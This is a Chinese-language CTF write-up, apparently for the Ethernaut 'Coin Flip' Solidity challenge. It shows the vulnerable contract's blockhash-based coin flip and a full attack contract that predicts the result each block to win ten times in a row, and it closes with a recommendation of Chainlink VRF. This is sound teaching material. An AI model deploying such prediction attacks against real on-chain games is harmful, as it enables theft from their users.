Coin Flip
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
题目要求
题目要求连续十次猜对硬币才能通过
题目分析
通过合约可以看到,只要有一次错误,计数器就会重置为 0.这个题目也是告诉我们链上很难实现真正的随机数。我们可以通过合约调用来计算和题目中一样的随机数值。
由于blockValue
是通过获取当前blockNumber
然后进行一堆计算后获得,并且每次成功调用以后该值就会被记录,并且不能使用上一次的值。所以无法通过在合约里实现for
循环一次性调用 10 次。我们会每次调用一次,然后每个区块调用一次,然后调用 10 次即可.
所以攻击思路如下
- 部署并获取目标合约地址
- 实现一个与题目中一样的随机数计算合约,通过我们的合约来调用题目中的
flip
方法,即可猜中随机数值
攻击步骤
- 实现以下攻击合约
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/math/SafeMath.sol";
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttack {
using SafeMath for uint256;
function attackFlip(address _coinFlip) external {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
bool success = ICoinFlip(_coinFlip).flip(side);
// 这里要求每次调用如果不成功则回滚,防止计数器重置为0
require(success,"attack failed");
}
}
- 获取到题目中
CoinFlip
合约地址 - 每个区块调用一次攻击合约的
attackFlip
方法,传入CoinFlip
合约地址作为参数
注意: attackFlip
方法需要在不同的区块调用,同一个区块连续调用会失败
题目知识点
想要在链上通过合约生产随机数,可以考虑使用Chainlink VRF。通过blockNumber
或者blockHash
计算出来的随机数都是伪随机数。很容易被攻击利用